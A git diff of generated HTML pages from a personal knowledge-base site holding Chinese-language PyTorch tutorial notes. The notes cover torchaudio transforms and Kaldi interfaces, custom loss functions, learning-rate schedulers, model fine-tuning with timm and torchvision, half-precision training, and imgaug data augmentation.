torchaudio.transform模块包含常见的音频处理和特征提取。torchaudio.functional则包括了一些常见的音频操作的函数。关于torchaudio.transform,官方提供了一个流程图供我们参考学习: +torchaudio_feature_extaction +torchaudio.transforms继承于torch.nn.Module,但是不同于torchvision.transforms,torchaudio没有compose方法将多个transform组合起来。因此torchaudio构建transform pipeline的常见方法是自定义模块类或使用torch.nn.Sequential将他们在一起。然后将其移动到目标设备和数据类型。我们可以参考官方所给出的例子:

+
# Define custom feature extraction pipeline.
#
# 1. Resample audio
# 2. Convert to power spectrogram
# 3. Apply augmentations
# 4. Convert to mel-scale
#
class MyPipeline(torch.nn.Module):
def __init__(
self,
input_freq=16000,
resample_freq=8000,
n_fft=1024,
n_mel=256,
stretch_factor=0.8,
):
super().__init__()
self.resample = Resample(orig_freq=input_freq, new_freq=resample_freq)
self.spec = Spectrogram(n_fft=n_fft, power=2)
self.spec_aug = torch.nn.Sequential(
TimeStretch(stretch_factor, fixed_rate=True),
FrequencyMasking(freq_mask_param=80),
TimeMasking(time_mask_param=80),
)
self.mel_scale = MelScale(
n_mels=n_mel, sample_rate=resample_freq, n_stft=n_fft // 2 + 1)

def forward(self, waveform: torch.Tensor) -> torch.Tensor:
# Resample the input
resampled = self.resample(waveform)
# Convert to power spectrogram
spec = self.spec(resampled)
# Apply SpecAugment
spec = self.spec_aug(spec)
# Convert to mel-scale
mel = self.mel_scale(spec)
return mel
+

torchaudio.transform的使用,我们可以参考torchaudio.transforms进一步了解。

+

torchaudio.functional支持了许多语音的处理方法,关于torchaudio.functional的使用,我们可以参考torchaudio.functional进一步了解。

+

8.4.6 compliance和kaldi_io的使用​

+

Kaldi是一个用于语音识别研究的工具箱,由CMU开发,开源免费。它包含了构建语音识别系统所需的全部组件,是语音识别领域最流行和影响力最大的开源工具之一。torchaudio中提供了一些与Kaldi工具兼容的方法,这些方法分别属于torchaduio.compliance.kaldi,torchaduio.kaldi_io。

+

torchaduio.compliance.kaldi​

+

在torchaudio.compliance.kaldi中,torchaudio提供了以下三种方法:

+
    +
  • torchaudio.compliance.kaldi.spectrogram:从语音信号中提取Spectrogram特征
  • +
  • torchaudio.compliance.kaldi.fbank:从语音信号中提取FBank特征
  • +
  • torchaduio.compliance.kaldi.mfcc:从语音信号中提取MFCC特征
  • +
+

torchaduio.kaldi_io​

+

torchaudio.kaldi_io是一个torchaudio的子模块,用于读取和写入Kaldi的数据集格式。当我们要使用torchaudio.kaldi_io时,我们需要先确保kalid_io已经安装。

+

具体来说,主要接口包括:

+
    +
  • torchaudio.kaldi_io.read_vec_int_ark:从Kaldi的scp文件中读取float类型的数据
  • +
  • torchaudio.kaldi_io.read_vec_flt_scp
  • +
  • torchaudio.kaldi_io.read_vec_flt_ark
  • +
  • torchaudio.kaldi_io.read_mat_scp
  • +
  • torchaudio.kaldi_io.read_mat_ark
  • +
+

具体的使用方法,我们可以参考torchaudio.kaldi_io进一步了解。

+

总结​

+

本节我们主要介绍了torchaudio的基本使用方法和常用的模块,如果想要进一步学习,可以参考torchaudio官方文档。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第八章/index.html b/en/docs/个人知识库/AI/PyTorch/第八章/index.html new file mode 100644 index 0000000..21e5128 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第八章/index.html @@ -0,0 +1,46 @@ + + + + + +第八章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第六章/6.1 自定义损失函数/index.html b/en/docs/个人知识库/AI/PyTorch/第六章/6.1 自定义损失函数/index.html new file mode 100644 index 0000000..4fbdccb --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第六章/6.1 自定义损失函数/index.html @@ -0,0 +1,74 @@ + + + + + +6.1 自定义损失函数.md | wjlin0 + + + + + + + +

6.1 自定义损失函数.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:20
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

6.1 自定义损失函数

+

PyTorch在torch.nn模块为我们提供了许多常用的损失函数,比如:MSELoss,L1Loss,BCELoss...... 但是随着深度学习的发展,出现了越来越多的非官方提供的Loss,比如DiceLoss,HuberLoss,SobolevLoss...... 这些Loss Function专门针对一些非通用的模型,PyTorch不能将他们全部添加到库中去,因此这些损失函数的实现则需要我们通过自定义损失函数来实现。另外,在一些算法实现中,研究者往往会提出全新的损失函数来提升模型的表现,这时我们既无法使用PyTorch自带的损失函数,也没有相关的博客供参考,此时自己实现损失函数就显得更为重要了。

+

经过本节的学习,你将收获:

+
    +
  • 掌握如何自定义损失函数
  • +
+

6.1.1 以函数方式定义​

+

事实上,损失函数仅仅是一个函数而已,因此我们可以通过直接以函数定义的方式定义一个自己的函数,如下所示:

+
def my_loss(output, target):
loss = torch.mean((output - target)**2)
return loss
+

6.1.2 以类方式定义​

+

虽然以函数定义的方式很简单,但是以类方式定义更加常用,在以类方式定义损失函数时,我们如果看每一个损失函数的继承关系我们就可以发现Loss函数部分继承自_loss, 部分继承自_WeightedLoss, 而_WeightedLoss继承自_loss, _loss继承自 nn.Module。我们可以将其当作神经网络的一层来对待,同样地,我们的损失函数类就需要继承自nn.Module类,在下面的例子中我们以DiceLoss为例向大家讲述。

+

Dice Loss是一种在分割领域常见的损失函数,定义如下:

+

$$ +DSC = \frac{2|X∩Y|}{|X|+|Y|} +$$ +实现代码如下:

+
class DiceLoss(nn.Module):
def __init__(self,weight=None,size_average=True):
super(DiceLoss,self).__init__()

def forward(self,inputs,targets,smooth=1):
inputs = F.sigmoid(inputs)
inputs = inputs.view(-1)
targets = targets.view(-1)
intersection = (inputs * targets).sum()
dice = (2.*intersection + smooth)/(inputs.sum() + targets.sum() + smooth)
return 1 - dice

# 使用方法
criterion = DiceLoss()
loss = criterion(input,targets)
+

除此之外,常见的损失函数还有BCE-Dice Loss,Jaccard/Intersection over Union (IoU) Loss,Focal Loss......

+
class DiceBCELoss(nn.Module):
def __init__(self, weight=None, size_average=True):
super(DiceBCELoss, self).__init__()

def forward(self, inputs, targets, smooth=1):
inputs = F.sigmoid(inputs)
inputs = inputs.view(-1)
targets = targets.view(-1)
intersection = (inputs * targets).sum()
dice_loss = 1 - (2.*intersection + smooth)/(inputs.sum() + targets.sum() + smooth)
BCE = F.binary_cross_entropy(inputs, targets, reduction='mean')
Dice_BCE = BCE + dice_loss

return Dice_BCE
+
class IoULoss(nn.Module):
def __init__(self, weight=None, size_average=True):
super(IoULoss, self).__init__()

def forward(self, inputs, targets, smooth=1):
inputs = F.sigmoid(inputs)
inputs = inputs.view(-1)
targets = targets.view(-1)
intersection = (inputs * targets).sum()
total = (inputs + targets).sum()
union = total - intersection

IoU = (intersection + smooth)/(union + smooth)

return 1 - IoU
+
ALPHA = 0.8
GAMMA = 2

class FocalLoss(nn.Module):
def __init__(self, weight=None, size_average=True):
super(FocalLoss, self).__init__()

def forward(self, inputs, targets, alpha=ALPHA, gamma=GAMMA, smooth=1):
inputs = F.sigmoid(inputs)
inputs = inputs.view(-1)
targets = targets.view(-1)
BCE = F.binary_cross_entropy(inputs, targets, reduction='mean')
BCE_EXP = torch.exp(-BCE)
focal_loss = alpha * (1-BCE_EXP)**gamma * BCE

return focal_loss
# 更多的可以参考链接1
+

注:

+

在自定义损失函数时,涉及到数学运算时,我们最好全程使用PyTorch提供的张量计算接口,这样就不需要我们实现自动求导功能并且我们可以直接调用cuda,使用numpy或者scipy的数学运算时,操作会有些麻烦,大家可以自己下去进行探索。关于PyTorch使用Class定义损失函数的原因,可以参考PyTorch的讨论区(链接6)

+

本节参考​

+

【1】https://www.kaggle.com/bigironsphere/loss-function-library-keras-pytorch/notebook
+【2】https://www.zhihu.com/question/66988664/answer/247952270
+【3】https://blog.csdn.net/dss_dssssd/article/details/84103834
+【4】https://zj-image-processing.readthedocs.io/zh_CN/latest/pytorch/%E8%87%AA%E5%AE%9A%E4%B9%89%E6%8D%9F%E5%A4%B1%E5%87%BD%E6%95%B0/
+【5】https://blog.csdn.net/qq_27825451/article/details/95165265
+【6】https://discuss.pytorch.org/t/should-i-define-my-custom-loss-function-as-a-class/89468

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第六章/6.2 动态调整学习率/index.html b/en/docs/个人知识库/AI/PyTorch/第六章/6.2 动态调整学习率/index.html new file mode 100644 index 0000000..85704cd --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第六章/6.2 动态调整学习率/index.html @@ -0,0 +1,91 @@ + + + + + +6.2 动态调整学习率.md | wjlin0 + + + + + + + +

6.2 动态调整学习率.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:20
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

6.2 动态调整学习率

+

学习率的选择是深度学习中一个困扰人们许久的问题,学习速率设置过小,会极大降低收敛速度,增加训练时间;学习率太大,可能导致参数在最优解两侧来回振荡。但是当我们选定了一个合适的学习率后,经过许多轮的训练后,可能会出现准确率震荡或loss不再下降等情况,说明当前学习率已不能满足模型调优的需求。此时我们就可以通过一个适当的学习率衰减策略来改善这种现象,提高我们的精度。这种设置方式在PyTorch中被称为scheduler,也是我们本节所研究的对象。

+

经过本节的学习,你将收获:

+
    +
  • 如何根据需要选取已有的学习率调整策略
  • +
  • 如何自定义设置学习调整策略并实现
  • +
+

6.2.1 使用官方scheduler​

+
    +
  • 了解官方提供的API
  • +
+

在训练神经网络的过程中,学习率是最重要的超参数之一,作为当前较为流行的深度学习框架,PyTorch已经在torch.optim.lr_scheduler为我们封装好了一些动态调整学习率的方法供我们使用,如下面列出的这些scheduler。

+ +

这些scheduler都是继承自_LRScheduler类,我们可以通过help(torch.optim.lr_scheduler)来查看这些类的具体使用方法,也可以通过help(torch.optim.lr_scheduler._LRScheduler)来查看_LRScheduler类的具体使用方法。

+
    +
  • 使用官方API
  • +
+

关于如何使用这些动态调整学习率的策略,PyTorch官方也很人性化的给出了使用实例代码帮助大家理解,我们也将结合官方给出的代码来进行解释。

+
# 选择一种优化器
optimizer = torch.optim.Adam(...)
# 选择上面提到的一种或多种动态调整学习率的方法
scheduler1 = torch.optim.lr_scheduler....
scheduler2 = torch.optim.lr_scheduler....
...
schedulern = torch.optim.lr_scheduler....
# 进行训练
for epoch in range(100):
train(...)
validate(...)
optimizer.step()
# 需要在优化器参数更新之后再动态调整学习率
# scheduler的优化是在每一轮后面进行的
scheduler1.step()
...
schedulern.step()
+

注:

+

我们在使用官方给出的torch.optim.lr_scheduler时,需要将scheduler.step()放在optimizer.step()后面进行使用。

+

6.2.2 自定义scheduler​

+

虽然PyTorch官方给我们提供了许多的API,但是在实验中也有可能碰到需要我们自己定义学习率调整策略的情况,而我们的方法是自定义函数adjust_learning_rate来改变param_group中lr的值,在下面的叙述中会给出一个简单的实现。

+

假设我们现在正在做实验,需要学习率每30轮下降为原来的1/10,假设已有的官方API中没有符合我们需求的,那就需要自定义函数来实现学习率的改变。

+
def adjust_learning_rate(optimizer, epoch):
lr = args.lr * (0.1 ** (epoch // 30))
for param_group in optimizer.param_groups:
param_group['lr'] = lr
+

有了adjust_learning_rate函数的定义,在训练的过程就可以调用我们的函数来实现学习率的动态变化

+
def adjust_learning_rate(optimizer,...):
...
optimizer = torch.optim.SGD(model.parameters(),lr = args.lr,momentum = 0.9)
for epoch in range(10):
train(...)
validate(...)
adjust_learning_rate(optimizer,epoch)
+

本节参考​

+
    +
  1. PyTorch官方文档
  2. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第六章/6.3 模型微调-timm/index.html b/en/docs/个人知识库/AI/PyTorch/第六章/6.3 模型微调-timm/index.html new file mode 100644 index 0000000..9be7994 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第六章/6.3 模型微调-timm/index.html @@ -0,0 +1,110 @@ + + + + + +6.3 模型微调-timm.md | wjlin0 + + + + + + + +

6.3 模型微调-timm.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:20
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

6.3 模型微调 - timm

+

除了使用torchvision.models进行预训练以外,还有一个常见的预训练模型库,叫做timm,这个库是由Ross Wightman创建的。里面提供了许多计算机视觉的SOTA模型,可以当作是torchvision的扩充版本,并且里面的模型在准确度上也较高。在本章内容中,我们主要是针对这个库的预训练模型的使用做叙述,其他部分内容(数据扩增,优化器等)如果大家感兴趣,可以参考以下两个链接。

+ +

6.3.1 timm的安装​

+

关于timm的安装,我们可以选择以下两种方式进行:

+
    +
  1. 通过pip安装
  2. +
+
pip install timm
+
    +
  1. 通过源码编译安装
  2. +
+
git clone https://github.com/rwightman/pytorch-image-models
cd pytorch-image-models && pip install -e .
+

6.3.2 如何查看预训练模型种类​

+
    +
  1. 查看timm提供的预训练模型 +截止到2022.3.27日为止,timm提供的预训练模型已经达到了592个,我们可以通过timm.list_models()方法查看timm提供的预训练模型(注:本章测试代码均是在jupyter notebook上进行)
  2. +
+
import timm
avail_pretrained_models = timm.list_models(pretrained=True)
len(avail_pretrained_models)
+
592
+
    +
  1. 查看特定模型的所有种类 +每一种系列可能对应着不同方案的模型,比如Resnet系列就包括了ResNet18,50,101等模型,我们可以在timm.list_models()传入想查询的模型名称(模糊查询),比如我们想查询densenet系列的所有模型。
  2. +
+
all_densnet_models = timm.list_models("*densenet*")
all_densnet_models
+

我们发现以列表的形式返回了所有densenet系列的所有模型。

+
['densenet121',
'densenet121d',
'densenet161',
'densenet169',
'densenet201',
'densenet264',
'densenet264d_iabn',
'densenetblur121d',
'tv_densenet121']
+
    +
  1. 查看模型的具体参数 +当我们想查看下模型的具体参数的时候,我们可以通过访问模型的default_cfg属性来进行查看,具体操作如下
  2. +
+
model = timm.create_model('resnet34',num_classes=10,pretrained=True)
model.default_cfg
+
{'url': 'https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-weights/resnet34-43635321.pth',
'num_classes': 1000,
'input_size': (3, 224, 224),
'pool_size': (7, 7),
'crop_pct': 0.875,
'interpolation': 'bilinear',
'mean': (0.485, 0.456, 0.406),
'std': (0.229, 0.224, 0.225),
'first_conv': 'conv1',
'classifier': 'fc',
'architecture': 'resnet34'}
+

除此之外,我们可以通过访问这个链接 查看提供的预训练模型的准确度等信息。

+

6.3.3 使用和修改预训练模型​

+

在得到我们想要使用的预训练模型后,我们可以通过timm.create_model()的方法来进行模型的创建,我们可以通过传入参数pretrained=True,来使用预训练模型。同样的,我们也可以使用跟torchvision里面的模型一样的方法查看模型的参数,类型/

+
import timm
import torch

model = timm.create_model('resnet34',pretrained=True)
x = torch.randn(1,3,224,224)
output = model(x)
output.shape
+
torch.Size([1, 1000])
+
    +
  • 查看某一层模型参数(以第一层卷积为例)
  • +
+
model = timm.create_model('resnet34',pretrained=True)
list(dict(model.named_children())['conv1'].parameters())
+
[Parameter containing:
tensor([[[[-2.9398e-02, -3.6421e-02, -2.8832e-02, ..., -1.8349e-02,
-6.9210e-03, 1.2127e-02],
[-3.6199e-02, -6.0810e-02, -5.3891e-02, ..., -4.2744e-02,
-7.3169e-03, -1.1834e-02],
...
[ 8.4563e-03, -1.7099e-02, -1.2176e-03, ..., 7.0081e-02,
2.9756e-02, -4.1400e-03]]]], requires_grad=True)]

+
    +
  • 修改模型(将1000类改为10类输出)
  • +
+
model = timm.create_model('resnet34',num_classes=10,pretrained=True)
x = torch.randn(1,3,224,224)
output = model(x)
output.shape
+
torch.Size([1, 10])
+
    +
  • 改变输入通道数(比如我们传入的图片是单通道的,但是模型需要的是三通道图片) +我们可以通过添加in_chans=1来改变
  • +
+
model = timm.create_model('resnet34',num_classes=10,pretrained=True,in_chans=1)
x = torch.randn(1,1,224,224)
output = model(x)
+

6.3.4 模型的保存​

+

timm库所创建的模型是torch.model的子类,我们可以直接使用torch库中内置的模型参数保存和加载的方法,具体操作如下方代码所示

+
torch.save(model.state_dict(),'./checkpoint/timm_model.pth')
model.load_state_dict(torch.load('./checkpoint/timm_model.pth'))
+

参考材料​

+
    +
  1. https://www.aiuai.cn/aifarm1967.html
  2. +
  3. https://towardsdatascience.com/getting-started-with-pytorch-image-models-timm-a-practitioners-guide-4e77b4bf9055
  4. +
  5. https://chowdera.com/2022/03/202203170834122729.html
  6. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第六章/6.3 模型微调-torchvision/index.html b/en/docs/个人知识库/AI/PyTorch/第六章/6.3 模型微调-torchvision/index.html new file mode 100644 index 0000000..d8e41b6 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第六章/6.3 模型微调-torchvision/index.html @@ -0,0 +1,104 @@ + + + + + +6.3 模型微调-torchvision.md | wjlin0 + + + + + + + +

6.3 模型微调-torchvision.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:21
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

6.3 模型微调-torchvision

+

随着深度学习的发展,模型的参数越来越大,许多开源模型都是在较大数据集上进行训练的,比如Imagenet-1k,Imagenet-11k,甚至是ImageNet-21k等。但在实际应用中,我们的数据集可能只有几千张,这时从头开始训练具有几千万参数的大型神经网络是不现实的,因为越大的模型对数据量的要求越大,过拟合无法避免。

+

假设我们想从图像中识别出不同种类的椅⼦,然后将购买链接推荐给用户。一种可能的方法是先找出100种常见的椅子,为每种椅子拍摄1000张不同⻆度的图像,然后在收集到的图像数据集上训练一个分类模型。这个椅子数据集虽然可能比Fashion-MNIST数据集要庞⼤,但样本数仍然不及ImageNet数据集中样本数的十分之⼀。这可能会导致适用于ImageNet数据集的复杂模型在这个椅⼦数据集上过拟合。同时,因为数据量有限,最终训练得到的模型的精度也可能达不到实用的要求。

+

为了应对上述问题,一个显⽽易⻅的解决办法是收集更多的数据。然而,收集和标注数据会花费大量的时间和资⾦。例如,为了收集ImageNet数据集,研究人员花费了数百万美元的研究经费。虽然目前的数据采集成本已降低了不少,但其成本仍然不可忽略。

+

另外一种解决办法是应用迁移学习(transfer learning),将从源数据集学到的知识迁移到目标数据集上。例如,虽然ImageNet数据集的图像大多跟椅子无关,但在该数据集上训练的模型可以抽取较通用的图像特征,从而能够帮助识别边缘、纹理、形状和物体组成等。这些类似的特征对于识别椅子也可能同样有效。

+

迁移学习的一大应用场景是模型微调(finetune)。简单来说,就是我们先找到一个同类的别人训练好的模型,把别人现成的训练好了的模型拿过来,换成自己的数据,通过训练调整一下参数。 在PyTorch中提供了许多预训练好的网络模型(VGG,ResNet系列,mobilenet系列......),这些模型都是PyTorch官方在相应的大型数据集训练好的。学习如何进行模型微调,可以方便我们快速使用预训练模型完成自己的任务。

+

经过本节的学习,你将收获:

+
    +
  • 掌握模型微调的流程
  • +
  • 了解PyTorch提供的常用model
  • +
  • 掌握如何指定训练模型的部分层
  • +
+

6.3.1 模型微调的流程​

+
    +
  1. 在源数据集(如ImageNet数据集)上预训练一个神经网络模型,即源模型。
  2. +
  3. 创建一个新的神经网络模型,即目标模型。它复制了源模型上除了输出层外的所有模型设计及其参数。我们假设这些模型参数包含了源数据集上学习到的知识,且这些知识同样适用于目标数据集。我们还假设源模型的输出层跟源数据集的标签紧密相关,因此在目标模型中不予采用。
  4. +
  5. 为目标模型添加一个输出⼤小为⽬标数据集类别个数的输出层,并随机初始化该层的模型参数。
  6. +
  7. 在目标数据集上训练目标模型。我们将从头训练输出层,而其余层的参数都是基于源模型的参数微调得到的。
  8. +
+

finetune

+

6.3.2 使用已有模型结构​

+

这里我们以torchvision中的常见模型为例,列出了如何在图像分类任务中使用PyTorch提供的常见模型结构和参数。对于其他任务和网络结构,使用方式是类似的:

+
    +
  • +

    实例化网络

    +
    import torchvision.models as models
    resnet18 = models.resnet18()
    # resnet18 = models.resnet18(pretrained=False) 等价于与上面的表达式
    alexnet = models.alexnet()
    vgg16 = models.vgg16()
    squeezenet = models.squeezenet1_0()
    densenet = models.densenet161()
    inception = models.inception_v3()
    googlenet = models.googlenet()
    shufflenet = models.shufflenet_v2_x1_0()
    mobilenet_v2 = models.mobilenet_v2()
    mobilenet_v3_large = models.mobilenet_v3_large()
    mobilenet_v3_small = models.mobilenet_v3_small()
    resnext50_32x4d = models.resnext50_32x4d()
    wide_resnet50_2 = models.wide_resnet50_2()
    mnasnet = models.mnasnet1_0()
    +
  • +
  • +

    传递pretrained参数

    +
  • +
+

通过True或者False来决定是否使用预训练好的权重,在默认状态下pretrained = False,意味着我们不使用预训练得到的权重,当pretrained = True,意味着我们将使用在一些数据集上预训练得到的权重。

+
import torchvision.models as models
resnet18 = models.resnet18(pretrained=True)
alexnet = models.alexnet(pretrained=True)
squeezenet = models.squeezenet1_0(pretrained=True)
vgg16 = models.vgg16(pretrained=True)
densenet = models.densenet161(pretrained=True)
inception = models.inception_v3(pretrained=True)
googlenet = models.googlenet(pretrained=True)
shufflenet = models.shufflenet_v2_x1_0(pretrained=True)
mobilenet_v2 = models.mobilenet_v2(pretrained=True)
mobilenet_v3_large = models.mobilenet_v3_large(pretrained=True)
mobilenet_v3_small = models.mobilenet_v3_small(pretrained=True)
resnext50_32x4d = models.resnext50_32x4d(pretrained=True)
wide_resnet50_2 = models.wide_resnet50_2(pretrained=True)
mnasnet = models.mnasnet1_0(pretrained=True)
+

注意事项:

+
    +
  1. +

    通常PyTorch模型的扩展为.pt或.pth,程序运行时会首先检查默认路径中是否有已经下载的模型权重,一旦权重被下载,下次加载就不需要下载了。

    +
  2. +
  3. +

    一般情况下预训练模型的下载会比较慢,我们可以直接通过迅雷或者其他方式去 这里 查看自己的模型里面model_urls,然后手动下载,预训练模型的权重在Linux和Mac的默认下载路径是用户根目录下的.cache文件夹。在Windows下就是C:\Users\<username>\.cache\torch\hub\checkpoint。我们可以通过使用 torch.utils.model_zoo.load_url()设置权重的下载地址。

    +
  4. +
  5. +

    如果觉得麻烦,还可以将自己的权重下载下来放到同文件夹下,然后再将参数加载网络。

    +
    self.model = models.resnet50(pretrained=False)
    self.model.load_state_dict(torch.load('./model/resnet50-19c8e357.pth'))
    +
  6. +
  7. +

    如果中途强行停止下载的话,一定要去对应路径下将权重文件删除干净,要不然可能会报错。

    +
  8. +
+

6.3.3 训练特定层​

+

在默认情况下,参数的属性.requires_grad = True,如果我们从头开始训练或微调不需要注意这里。但如果我们正在提取特征并且只想为新初始化的层计算梯度,其他参数不进行改变。那我们就需要通过设置requires_grad = False来冻结部分层。在PyTorch官方中提供了这样一个例程。

+
def set_parameter_requires_grad(model, feature_extracting):
if feature_extracting:
for param in model.parameters():
param.requires_grad = False
+

在下面我们仍旧使用resnet18为例的将1000类改为4类,但是仅改变最后一层的模型参数,不改变特征提取的模型参数;注意我们先冻结模型参数的梯度,再对模型输出部分的全连接层进行修改,这样修改后的全连接层的参数就是可计算梯度的。

+
import torchvision.models as models
# 冻结参数的梯度
feature_extract = True
model = models.resnet18(pretrained=True)
set_parameter_requires_grad(model, feature_extract)
# 修改模型
num_ftrs = model.fc.in_features
model.fc = nn.Linear(in_features=num_ftrs, out_features=4, bias=True)
+

之后在训练过程中,model仍会进行梯度回传,但是参数更新则只会发生在fc层。通过设定参数的requires_grad属性,我们完成了指定训练模型的特定层的目标,这对实现模型微调非常重要。

+

本节参考​

+
    +
  1. 参数更新
  2. +
  3. 给不同层分配不同的学习率
  4. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第六章/6.4 半精度训练/index.html b/en/docs/个人知识库/AI/PyTorch/第六章/6.4 半精度训练/index.html new file mode 100644 index 0000000..e4c51ee --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第六章/6.4 半精度训练/index.html @@ -0,0 +1,72 @@ + + + + + +6.4 半精度训练.md | wjlin0 + + + + + + + +

6.4 半精度训练.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:20
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

6.4 半精度训练

+

我们提到PyTorch时候,总会想到要用硬件设备GPU的支持。而GPU的性能主要分为两部分:算力和显存,前者决定了显卡计算的速度,后者则决定了显卡可以同时放入多少数据用于计算。在可以使用的显存数量一定的情况下,每次训练能够加载的数据更多(也就是batch size更大),则也可以提高训练效率。另外,有时候数据本身也比较大(比如3D图像、视频等),显存较小的情况下可能甚至batch size为1的情况都无法实现。因此,合理使用显存也就显得十分重要。

+

我们观察PyTorch默认的浮点数存储方式用的是torch.float32,小数点后位数更多固然能保证数据的精确性,但绝大多数场景其实并不需要这么精确,只保留一半的信息也不会影响结果,也就是使用torch.float16格式。由于数位减了一半,因此被称为“半精度”,具体如下图:

+

amp

+

显然半精度能够减少显存占用,使得显卡可以同时加载更多数据进行计算。本节会介绍如何在PyTorch中设置使用半精度计算。

+

经过本节的学习,你将收获:

+
    +
  • 如何在PyTorch中设置半精度训练
  • +
  • 使用半精度训练的注意事项
  • +
+

6.4.1 半精度训练的设置​

+

在PyTorch中使用autocast配置半精度训练,同时需要在下面三处加以设置:

+
    +
  • import autocast
  • +
+
from torch.cuda.amp import autocast
+
    +
  • 模型设置
  • +
+

在模型定义中,使用python的装饰器方法,用autocast装饰模型中的forward函数。关于装饰器的使用,可以参考这里:

+
@autocast()   
def forward(self, x):
...
return x
+
    +
  • 训练过程
  • +
+

在训练过程中,只需在将数据输入模型及其之后的部分放入“with autocast():“即可:

+
 for x in train_loader:
x = x.cuda()
with autocast():
output = model(x)
...
+

注意:

+

半精度训练主要适用于数据本身的size比较大(比如说3D图像、视频等)。当数据本身的size并不大时(比如手写数字MNIST数据集的图片尺寸只有28*28),使用半精度训练则可能不会带来显著的提升。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第六章/6.5 数据增强-imgaug/index.html b/en/docs/个人知识库/AI/PyTorch/第六章/6.5 数据增强-imgaug/index.html new file mode 100644 index 0000000..4018f15 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第六章/6.5 数据增强-imgaug/index.html @@ -0,0 +1,110 @@ + + + + + +6.5 数据增强-imgaug.md | wjlin0 + + + + + + + +

6.5 数据增强-imgaug.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:21
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

6.5 数据增强-imgaug

+

在机器学习/深度学习中,我们经常会遇到模型过拟合的问题,为了解决过拟合问题,我们可以通过加入正则项或者减少模型学习参数来解决,但是最简单的避免过拟合的方法是增加数据,但是在许多场景我们无法获得大量数据,例如医学图像分析。数据增强技术的存在是为了解决这个问题,这是针对有限数据问题的解决方案。数据增强一套技术,可提高训练数据集的大小和质量,以便我们可以使用它们来构建更好的深度学习模型。 +在计算视觉领域,生成增强图像相对容易。即使引入噪声或裁剪图像的一部分,模型仍可以对图像进行分类,数据增强有一系列简单有效的方法可供选择,有一些机器学习库来进行计算视觉领域的数据增强,比如:imgaug 官网它封装了很多数据增强算法,给开发者提供了方便。通过本章内容,您将学会以下内容:

+
    +
  • imgaug的简介和安装
  • +
  • 使用imgaug对数据进行增强
  • +
+

6.5.1 imgaug简介和安装​

+

6.5.1.1 imgaug简介​

+

imgaug是计算机视觉任务中常用的一个数据增强的包,相比于torchvision.transforms,它提供了更多的数据增强方法,因此在各种竞赛中,人们广泛使用imgaug来对数据进行增强操作。除此之外,imgaug官方还提供了许多例程让我们学习,本章内容仅是简介,希望起到抛砖引玉的功能。

+
    +
  1. Github地址:imgaug
  2. +
  3. Readthedocs:imgaug
  4. +
  5. 官方提供notebook例程:notebook
  6. +
+

6.5.1.2 imgaug的安装​

+

imgaug的安装方法和其他的Python包类似,我们可以通过以下两种方式进行安装

+

conda​

+
conda config --add channels conda-forge
conda install imgaug
+

pip​

+
#  install imgaug either via pypi

pip install imgaug

# install the latest version directly from github

pip install git+https://github.com/aleju/imgaug.git
+

6.5.2 imgaug的使用​

+

imgaug仅仅提供了图像增强的一些方法,但是并未提供图像的IO操作,因此我们需要使用一些库来对图像进行导入,建议使用imageio进行读入,如果使用的是opencv进行文件读取的时候,需要进行手动改变通道,将读取的BGR图像转换为RGB图像。除此以外,当我们用PIL.Image进行读取时,因为读取的图片没有shape的属性,所以我们需要将读取到的img转换为np.array()的形式再进行处理。因此官方的例程中也是使用imageio进行图片读取。

+

单张图片处理​

+

在该单元,我们仅以几种数据增强操作为例,主要目的是教会大家如何使用imgaug来对数据进行增强操作。

+
import imageio
import imgaug as ia
%matplotlib inline

# 图片的读取
img = imageio.imread("./Lenna.jpg")

# 使用Image进行读取
# img = Image.open("./Lenna.jpg")
# image = np.array(img)
# ia.imshow(image)

# 可视化图片
ia.imshow(img)
+

+

现在我们已经得到了需要处理的图片,imgaug包含了许多从Augmenter继承的数据增强的操作。在这里我们以Affine为例子。

+
from imgaug import augmenters as iaa

# 设置随机数种子
ia.seed(4)

# 实例化方法
rotate = iaa.Affine(rotate=(-4,45))
img_aug = rotate(image=img)
ia.imshow(img_aug)
+

+

这是对一张图片进行一种操作方式,但实际情况下,我们可能对一张图片做多种数据增强处理。这种情况下,我们就需要利用imgaug.augmenters.Sequential()来构造我们数据增强的pipline,该方法与torchvison.transforms.Compose()相类似。

+
iaa.Sequential(children=None, # Augmenter集合
random_order=False, # 是否对每个batch使用不同顺序的Augmenter list
name=None,
deterministic=False,
random_state=None)
+
# 构建处理序列
aug_seq = iaa.Sequential([
iaa.Affine(rotate=(-25,25)),
iaa.AdditiveGaussianNoise(scale=(10,60)),
iaa.Crop(percent=(0,0.2))
])
# 对图片进行处理,image不可以省略,也不能写成images
image_aug = aug_seq(image=img)
ia.imshow(image_aug)
+

+

